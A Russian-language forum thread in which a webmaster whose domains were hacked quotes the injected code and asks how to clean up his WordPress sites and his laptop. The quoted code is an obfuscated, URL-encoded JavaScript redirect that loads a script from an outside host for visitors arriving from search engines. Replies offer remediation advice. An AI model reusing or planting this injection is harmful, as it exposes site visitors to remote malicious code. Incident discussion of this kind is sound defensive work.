Поломали все домены -HELP!

без понятия каким образом мудаки это сделали (

вставили в корень всех доменов вот такую хуйню ! не знаю как убрать с сиджей, и где искать дыру

Цитата:

<script>eval( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72%75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29%2e%73%70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65%2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));</script>

скрипт стоит прогресс, куда этот код там могли вставить я не знаю пока... (

Чем проверить комп ? нод молчит

убрал, догадываюсь что трой на ноуте (на котором девушка работает моя имел глупость посидеть денек по своим делам на нем что теперь с ним сделать ? форматнуть диск C полностью ?

осталась проблема блог не пускает в админку, а там бэкап. пишет ошибку


Warning: Cannot modify header information - headers already sent by (output started at public_html/wp-admin/index.php:1) in
public_html/wp-includes/pluggable.php on line 850

как пофиксить ?

Я бы попробовал из бэкапа заменить index.php, ибо они его тебе чутка запортачили. Из бэкапа аналогичной версии wp, которая у тебя там стоит.

поменяй права, разреши запись себе

на что именно ?

awa писал:

Я бы попробовал из бэкапа заменить index.php, ибо они его тебе чутка запортачили. Из бэкапа аналогичной версии wp, которая у тебя там стоит.

не вышло

сочуствую

выкачай базу mysql.
снеси WP
почисти базу, проверь themes
установи WP - залей новую.
если не поможет может тогда что-то cron?

тут как то проще можно ) блог уже заработал, а в админку до сих пор не могу попасть

raider появись в асе

Если у тебя дедик, стукни мне в 349=964-403, смогу сказать как ломали.

Еще как вариант смотреть что там в pluggable.php on line 850, то есть смотреть последовательно на что он ругается и фиксить.

Обычно портачат все 'index'-содержащие файлы, то есть index-extra.php тоже поидее содержит вот ту херню.

Обратись к админам нормальным, чего голову ломать, время то идет.

это вирусняк подхватил

все домены к которым ты имел фтп доступ все зараженые и заражают дальше других

первым делом комп чистить методом переустановки винды
и потом менять доступы на ФТП

НО не наоборот